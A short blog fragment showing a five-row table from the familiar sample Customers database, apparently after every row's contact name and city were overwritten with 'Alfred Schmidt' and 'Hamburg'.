1 | Alfreds Futterkiste | Alfred Schmidt | Obere Str. 57 | Hamburg | 12209 | Germany |
2 | Ana Trujillo Emparedados y helados | Alfred Schmidt | Avda. de la Constitución 2222 | Hamburg | 05021 | Mexico |
3 | Antonio Moreno Taquería | Alfred Schmidt | Mataderos 2312 | Hamburg | 05023 | Mexico |
4 | Around the Horn | Alfred Schmidt | 120 Hanover Sq. | Hamburg | WA1 1DP | UK |
5 | Berglunds snabbköp | Alfred Schmidt | Berguvsvägen 8 | Hamburg | S-958 22 | Sweden |
Subscribe to:
Posts (Atom)